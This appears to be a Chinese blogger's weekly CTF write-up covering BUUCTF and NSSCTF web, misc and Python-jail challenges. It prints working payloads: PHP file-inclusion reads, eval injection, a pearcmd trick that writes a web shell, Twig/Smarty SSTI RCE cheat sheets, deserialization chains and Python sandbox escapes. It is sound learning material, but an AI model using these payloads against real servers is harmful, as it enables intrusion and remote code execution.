LOADING

加载过慢请开启缓存 浏览器默认开启

ZiAzusa#2024W1 这周做的一些题

2024/11/10 周报 CTF WriteUp
字数统计: 7k字 阅读时长: 约33分 本文阅读量:

Web

BUUCTF: [Dest0g3 520迎新赛]phpdest

该题目打开后发现是一个简单的文件包含,没有进行任何过滤,尝试直接使用php://filter读取flag.php文件:

alt text

读不到,然后查看php文档了解到require_once函数如果之前包含过这个文件,就不会再进行包含操作了。

Google搜索require_once绕过,学到了以下新知识:

  1. php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once(‘flag.php’),已经include的文件不可以再require_once。
  2. /proc/self是指向当前进程的/proc/pid/,/proc/self/root是指向根目录(/)的符号链接。
  3. 利用较多的/proc/self/root可以将PHP解释器“绕晕”以达到在哈希表里存在文件的情况下读到文件。

写到这里,这道题已经做完了,构建形如以下的payload即可:

file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

但是,为什么较多的/proc/self/root就可以达到这种目的?d

总结

通过这道题可以学习到PHP对于符号链接的处理和对于真实路径的获取方式,也学习到了调试递归函数可以观察其数据的变化。

BUUCTF: [DASCTF Oct X 吉林工师 欢迎来到魔法世界~]迷路的魔法少女

不难看出是要利用eval这个危险函数来实现命令执行:

alt text

但是$attstr和$attvalue是在哪里传入的呢?

查阅资料了解到PHP的extract函数会将数组的键转换为PHP的变量,键对应的值就是变量的值。

所以本题是需要通过GET方式传入$attstr和$attvalue传入两个类型为数组的变量,而后会进行以下操作:将$attstr的每个作为新数组的键,将$attvalue的每个值作为新数组的值。

但是它在生成这个新数组的过程中使用了eval这个危险函数,所以只需要在attrvalue提前闭合生成数组的字符串,然后拼接上要执行的PHP代码即可实现RCE,但它在生成数组字符串的最后一步拼接了个);,只需要将这部分注释掉即可。

最后的payload如下:

attrid[]=0&attrvalue[]=1");system("Shell命令");//

先cat /flag,无果,读环境变量printenv即可得到flag。

总结

通过这道题学习到了PHP可以使用extract函数将数组转换为PHP的变量,也复习了简单的RCE利用。

BUUCTF: [NewStarCTF 公开赛赛道]IncludeOne

这道题出题人给了个Hint,即使用php_mt_seed这个工具破解php的mt_rand的随机数种子。

打开页面发现给出了一个随机结果,即可破解种子:

alt text

alt text

只要知道了随机数种子就可以复现出它的随机数生成结果了,编写以下脚本即可得到guess的值:

<?php
mt_srand(1145146);
mt_rand();
print_r(mt_rand()); // 1202031004
?>

而后只需要进行简单的文件包含和根据要求绕过即可拿到flag,最后的payload如下:

GET: file=php://filter/NewStar/read=string.rot13/resource=flag.php
POST: guess=1202031004

总结

在这道题中学习到了PHP的mt_rand随机数生成机制和破解方法,复习了简单的文件包含。

BUUCTF: [NewStarCTF 公开赛赛道]NotPHP

阅读代码:

alt text

分别需要传入以下内容:

  1. GET传入一个data伪协议,内容为Welcome to CTF
  2. GET传入key1和key2,实现md5强碰撞
  3. POST传入一个字符串,使得其不是数字且弱类型比较==2077
  4. GET传入cmd,首先需要使用?>闭合前面的注释,而后拼接RCE

所以payload如下:

GET: data=data:text/plain,Welcome to CTF&key1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&key2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&cmd=?><?php system("cat /flag");?>
POST: num=2077cyberpunk

总结

在这道题中积累了md5强碰撞的例子,了解到了PHP的弱类型特性,复习了RCE。

BUUCTF: [NewStarCTF 公开赛赛道]IncludeTwo

[NewStarCTF 2023 公开赛道]Include 🍐题目同理

查看代码,发现其给出了个Hint:

alt text

了解该题是需要通过LFI(本地文件包含)进行RCE(远程命令执行)。

根据提示首先想到的自然是日志包含,但是该题目写死了.php后缀,不能用日志。

几经尝试无果后查阅资料了解到以下内容:

  1. PHP中存在用于管理扩展而使用的命令行工具pecl,而pear是pecl的依赖库
  2. 在PHP7.3及以前(该题目环境为PHP7.3.15),pecl/pear是默认安装的,在7.4及以后需要在编译PHP时手动指定–with-pear才会安装(但在Docker容器中始终会被安装)
  3. 而pear存在一个特性:当php.ini中register_argc_argv=On时,执行pearcmd会将$_SERVER[‘argv’]当作参数执行
  4. pearcmd.php通常位于/usr/local/lib/php/pearcmd
  5. config-create是pearcmd的参数之一,它的作用是创建默认配置文件,这也就给了我们写文件的途径

通过以上的知识便可以创建一个backdoor.php用以任意命令执行,payload如下:

+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_GET['a'])?>+/var/www/html/backdoor.php

而后访问backdoor.php即可通过GET传入a参数进行任意命令执行了,cat /flag得到flag。

总结

通过这道题学习到了利用pearcmd.php进行LFI via RCE的方法,积累了新的知识。

alt text

打开题目会发现输入什么就回显什么,然后会把用户名存到cookie里,也没做任何的过滤。

尝试进行SSTI,传入4的确得到了4,但是不知道PHP的SSTI的模板。

查找到了 这个资料

积累到了PHP的SSTI,如Twig和Smarty模板的SSTI姿势:

Twig:
文件读取:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
RCE:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['cat /etc/passwd']|filter('system')}}

Smarty:
{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
常规利用方式:
1. {$smarty.version}
{$smarty.version} # 获取smarty的版本号
2. {php}{/php}
{php}phpinfo();{/php} # 执行相应的php代码
因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
3. {literal}
<script language="php">phpinfo();</script>   
这种写法只适用于php5环境
4. getstreamvariable
{self::getStreamVariable("file:///etc/passwd")}
在3.1.30的Smarty版本中官方已经把该静态方法删除
5. {if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}

总结

通过这道题了解到了PHP的模板语言,也了解到了针对这些的SSTI方式。

同时,积累到了判断SSTI模板的方式(如图):

alt text

BUUCTF: [2022DASCTF X SU 三月春季挑战赛]ezpop

打开题目就能发现这是一道普普通通的PHP反序列化:

alt text

挖链子然后生成序列化字符串就能调用里面的eval进行RCE了。

但是笔者在做这道题时懒癌发作(x,想着每次做PHP反序列化都要写一堆__construct方法太麻烦了,就花了点时间搓了下面这个传入原始PHP文件来自动生成包含__construct方法的新PHP文件的Python脚本:

import re
import sys

with open(sys.argv[1], 'r', encoding='utf-8') as f:
    phpdoc = f.read()

new_phpdoc = "<?php\n"

class_list = re.split("class ", phpdoc, re.S)
for class_body in class_list:
    class_name = re.search("(.*)\n", class_body).group(0)
    while True:
        if not class_name[-1:] in ["{", " ", "\n"]:
            break
        class_name = class_name[:-1]
    if not class_name or "<?php" in class_name:
        continue
    new_phpdoc += "class " + class_name + " {\n"
    properties = dict(public=[], protected=[], private=[], static=[], readonly=[], var=[])
    properties['public'] = re.findall("public (.*);", class_body)
    properties['protected'] = re.findall("protected (.*);", class_body)
    properties['private'] = re.findall("private (.*);", class_body)
    properties['static'] = re.findall("static (.*);", class_body)
    properties['readonly'] = re.findall("readonly (.*);", class_body)
    properties['var'] = re.findall("var (. *);", class_body)
    for i in properties:
        for j,x in enumerate(properties[i]):
            properties[i][j] = x.split("=")[0].split()[-1]
            new_phpdoc += "    " + i + " " + properties[i][j] + ";\n"
    new_phpdoc += "    function __construct("
    for i in properties:
        new_phpdoc += ", ".join(properties[i])
    new_phpdoc += ") {\n"
    for i in properties:
        for j,x in enumerate(properties[i]):
            new_phpdoc += "        $this->" + x[1:] + " = " + x + ";\n"
    new_phpdoc += "    }\n}\n"

print(new_phpdoc)

生成的新PHP如下:

<?php
class crow {
    public $v1;
    public $v2;
    function __construct($v1, $v2) {
        $this->v1 = $v1;
        $this->v2 = $v2;
    }
}
class fin {
    public $f1;
    function __construct($f1) {
        $this->f1 = $f1;
    }
}
class what {
    public $a;
    function __construct($a) {
        $this->a = $a;
    }
}
class mix {
    public $m1;
    function __construct($m1) {
        $this->m1 = $m1;
    }
}

接下来挖链子即可:本题的注入点是mix类的get_flag方法,这个方法可以在fin类的__call方法被调用,而__call方法可以在crow类的__invoke方法调用,而调用crow类的__invoke的方法可以是mix类的run方法,刚好在what类的__toString方法里会调用a属性的run方法,而最后fin类的__distruct方法中有一个echo可以触发toString。

故生成序列化字符串的脚本和生成的序列化字符串如下:

echo serialize(new fin(new what(new mix(new crow(new fin(new mix("?><?php system('cat *'); ?>")), "")))));
/* O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:27:"?><?php system('cat *'); ?>";}}s:2:"v2";s:0:"";}}}} */

最开始尝试cat /flagcat flag.phpprintenv无果,ls当前目录发现目录下由多个php文件,尝试cat *获取全部文件内容后即可找到flag。

总结

通过本题复习了PHP反序列化的相关内容,并且写了个懒人脚本方便以后做PHP反序列化题使用。

NSSCTF: [极客大挑战 2020]greatphp

根据提示不难猜到是利用PHP原生类(Error或Exception)绕过md5和sha1校验。

题目:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

显然只需要这样构造序列化字符串即可实现绕过:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __construct($syc, $lover) {
        $this->syc = $syc;
        $this->lover = $lover;
        if (md5($syc) === md5($lover)) {
            echo "md5 yes!\n";
        }
        if (sha1($syc) === sha1($lover)) {
            echo "sha1 yes!\n";
        }
    }
}

$cmd = "**/ ?> <?= xxxxx; ?>"; # 这是要被eval函数执行的命令
echo urlencode(serialize(new SYCLOVER(new Exception($cmd, 1), new Exception($cmd, 2))));
?>

然而,这道题还对执行的命令进行了正则匹配,这道题的PHP版本为7.4,可以使用短标签<?=绕过<?php,但最关键的是过滤了小括号。

在PHP中,无需括号可以执行的函数有以下这些:

echo
print
die
include
require
include_once
require_once

所以这道题就变成了一道文件包含题。

又因为要利用php伪协议包含文件,伪协议中含有//字符,不能使用引号的情况下,其后面的内容会被当成注释,所以利用一个POST传参绕过。

最后的命令和序列化字符串为:

$cmd = "?> <?= include \$_POST[1]; ?>";
/*
O:8:"SYCLOVER":2:{s:3:"syc";O:9:"Exception":7:{s:10:"%00*%00message";s:28:"?> <?= include $_POST[1]; ?>";s:17:"Exceptionstring";s:98:"Exception: ?> <?= include $_POST[1]; ?> in filepath:18
Stack trace:
#0 {main}";s:7:"%00*%00code";i:1;s:7:"%00*%00file";s:28:"filepath";s:7:"%00*%00line";i:18;s:16:"Exceptiontrace";a:0:{}s:19:"Exceptionprevious";N;}s:5:"lover";O:9:"Exception":7:{s:10:"%00*%00message";s:28:"?> <?= include $_POST[1]; ?>";s:17:"Exceptionstring";s:98:"Exception: ?> <?= include $_POST[1]; ?> in filepath:18
Stack trace:
#0 {main}";s:7:"%00*%00code";i:2;s:7:"%00*%00file";s:28:"filepath";s:7:"%00*%00line";i:18;s:16:"Exceptiontrace";a:0:{}s:19:"Exceptionprevious";N;}}
*/

所以最后构造的获取flag的payload为:

GET: great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A28%3A%22%3F%3E+%3C%3F%3D+include+%24_POST%5B1%5D%3B+%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A98%3A%22Exception%3A+%3F%3E+%3C%3F%3D+include+%24_POST%5B1%5D%3B+%3F%3E+in+filepath%3A18%0AStack+trace%3A%0A%230+%7Bmain%7D%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A28%3A%22filepath%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A18%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A28%3A%22%3F%3E+%3C%3F%3D+include+%24_POST%5B1%5D%3B+%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A98%3A%22Exception%3A+%3F%3E+%3C%3F%3D+include+%24_POST%5B1%5D%3B+%3F%3E+in+filepath%3A18%0AStack+trace%3A%0A%230+%7Bmain%7D%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A28%3A%22filepath%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A18%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D
POST: 1=php://filter/read=convert.base64-encode/resource=/flag

总结

通过本题学习到了利用PHP原生类(Error或Exception)绕过md5和sha1校验,学习到了利用其他传参绕过引号,学习到了利用include函数将命令执行转为文件包含以绕过小括号。

Misc

BUUCTF: [NewStarCTF 2023 公开赛道]新建Python文件

附件是个.pyc文件,尝试直接对其进行反编译:

uncompyle6 flag.pyc > flag.py

得到了下面的Python脚本:

# uncompyle6 version 3.9.0
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.8.6 (tags/v3.8.6:db45529, Sep 23 2020, 15:52:53) [MSC v.1927 64 bit (AMD64)]
# Embedded file name: flag.py
# Compiled at: 2023-10-04 20:18:22
# Size of source mod 2**32: 450 bytes
"""Example carrier file to embed our payload in.
"""
from math import sqrt

def fib_v1(n):
    if n == 0 or n == 1:
        return n
    else:
        return fib_v1(n - 1) + fib_v1(n - 2)


def fib_v2(n):
    if n == 0 or n == 1:
        return n
    else:
        return int(((1 + sqrt(5)) ** n - (1 - sqrt(5)) ** n) / (2 ** n * sqrt(5)))


def main():
    result1 = fib_v1(12)
    result2 = fib_v2(12)
    print(result1)
    print(result2)


if __name__ == '__main__':
    main()
# okay decompiling flag.pyc

只是一个简单的计算程序,没有发现什么有用的信息。

百思不得其解后,尝试以pyc misc ctf为关键词搜索,找到了 这篇文章,;了解到了pyc文件隐写。

使用 stegosaurus 这个工具即可获得隐写的数据了。

BUUCTF: [NewStarCTF 2023 公开赛道]空白格

下载下来发现正如题目所述是一堆空格和tab,使用搜索引擎了解到了Whitespace这门语言。

使用 这个工具 运行给出的文件即可得到flag。

总结

通过这道题了解到了大量的空格不一定是SNOW加密,还有可能是Whitespace语言。

BUUCTF: [DASCTF X GFCTF 2022十月挑战赛!]poi?qoi!

下载附件用010Editor打开发现文件头是qoi,百度了解到qoi是一种图片文件,尝试使用qoi转png工具导出图片,得到了下面的图片:

alt text

扫描发现是个假的flag。

使用StegSolve打开图片,先尝试看看有没有LSB隐写,发现没有。

进而尝试切换颜色通道,发现在Gray Bits下二维码发生了改变:

alt text

扫描即可得到真正的flag。

总结

通过这道题了解到了qoi的图片压缩格式,也了解到了通过切换颜色通道寻找隐藏信息的方式。

BUUCTF: [DASCTF Oct X 吉林工师 欢迎来到魔法世界~]魔法信息

使用WireShark打开附件,显然是一道普普通通的TCP流量分析题:

alt text

向下翻找能发现HTTP流量,是GET了一个shell.php文件,猜测为RCE。

先筛选HTTP流量:

alt text

在里面翻找并追踪TCP流的过程中发现其中一个请求是获取了个文件,注意到文件开头包含的熟悉的PK…猜测为zip压缩包:

alt text

显示数据为原始数据,然后导出文件用010Editor打开,删去开头的额外信息即可得到这样一个zip压缩包:

alt text

虽然解压过程中报了数据错误,但使用7-zip还是成功将里面的pdf解压了出来。

然后发现pdf无法打开,猜测包含了额外数据,继续使用010Editor打开:

alt text

在每个数据块的头部发现了内容拼接出来为DASCTF{…}的数据,猜测为flag,拼接出来提交即可。

总结

通过这道题学习到了利用WireShark分析TCP流量和导出流量包含的文件的方法,学习到了使用010Editor查看文件的隐藏数据。

NSSCTF: [HNCTF 2022 Week1]calc_jail_beginner(JAIL)

附件:

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

显然是要利用eval函数进行RCE,开头的注释已经给出payload,使用nc连上后发送__import__('os').system('cat ./flag.txt')即可。

总结

通过这道题初步认识到了Python逃逸。

NSSCTF: [HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

附件:

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

阅读代码可以发现其ban掉了以下字符:

" \ ' ` i b

这使得import和字符串传参都不能用了。

结合SSTI绕过的知识可知这里可以使用字符的ASCII码结合chr()函数绕过。

首先查看元组的子类:

().__class__.__base__.__subclasses__()

绕过:

getattr(getattr(getattr((),chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

执行后可以找到os._wrap_close的位置是-4。

构造payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

绕过:

getattr(getattr(getattr(getattr(getattr((),chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))

即可get shell。

附上一个顺手搓的便于生成以上字符串的脚本:

while True:
    string = input("Enter a string: ")
    if not string:
        break
    new_string = ""
    for i in string:
        new_string += "chr(" + str(ord(i)) + ")+"
    print(new_string)

总结

通过这道题认识到了Python逃逸与SSTI有异曲同工之妙,同样也可以利用chr函数绕过关键字匹配。

NSSCTF: [HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

附件:

#the length is be limited less than 13
#it seems banned some payload 
#Can u escape it?Good luck!

WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

阅读代码可知这道题陷入了能输入的字符串长度不大于13,显然__import__('os').system('cat flag')这样的字符串就能用了。

既然它是对input_data进行的检查,不难想到只要再执行一个input()就可以绕过检查了,而为了使得input()传入的payload能够被执行,还要再套个eval()。

两次payload如下:

eval(input()) # 不大于13个字符
__import__('os').system('cat flag') # 这里没有长度限制了

总结

通过这道题学习到了可以利用eval(input())绕过Python逃逸题目中的字符串长度检查(不大于13个字符)。

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

附件:

#!/usr/bin/env python3
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

这道题限制长度不能大于7,在这种情况下eval(input())也不能用了。

百思不得其解后以python沙箱逃逸 eval利用 绕过字符串长度为关键词进行了搜索,了解到了Python的help函数会在获取一个比较长的帮助文档(如import)会调用more命令,而在more命令里就可以任意执行外部shell命令了。

所以payload如下:

help()
import
!cat flag

总结

通过这道题学习到了help()会调用more命令,而more命令可以通过![command]的方式执行外部shell命令。

故可以利用help()绕过Python逃逸题目中的字符串长度检查(不大于7个字符)。

[HNCTF 2022 Week1]python2 input(JAIL)

附件:

# It's escape this repeat!

WELCOME = '''
              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

根据题目可知这道题的环境是Python2,而在Python2中其input()函数与Python3不同,可以将其看作内置了个eval()函数。

所以直接发送以下payload即可:

__import__('os').system('cat flag')

总结

通过本题了解到了Python2中的input可以直接执行python代码。

NSSCTF: [HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

附件:

#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

阅读代码可以发现这道题不仅限制了字符串长度,还不能使用exec、input和eval,首先尝试help(),发现!无法执行外部命令了。

进而查找其他绕过方式,查阅资料了解到在Python3.7及以上版本可以通过breakpoint()打断点的方式绕过,故payload如下:

breakpoint()
__import__('os').system('cat flag')

总结

通过这道题了解到了可以通过breakpoint()打断程序执行,进入PDB执行任意脚本的Python逃逸方式。

NSSCTF: [HNCTF 2022 Week1]lake lake lake(JAIL)

附件:

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

阅读代码可知func()可以执行命令,但字符数量不能超过9个;而backdoor()可以任意执行命令,但需要输入admin key。

既然给了backdoor,肯定是让我们去尝试获得admin key,显然,admin key是定义在这个python脚本里的,那么获取全部的变量就可以了。

所以payload如下:

func:     globals() # 在这里得到了key值为a34af94e88aed5c34fb5ccfe08cd14ab
backdoor: __import__('os').system('cat flag')

总结

通过这道题了解到了可以通过globals()获取当前python脚本内定义的全部变量内容。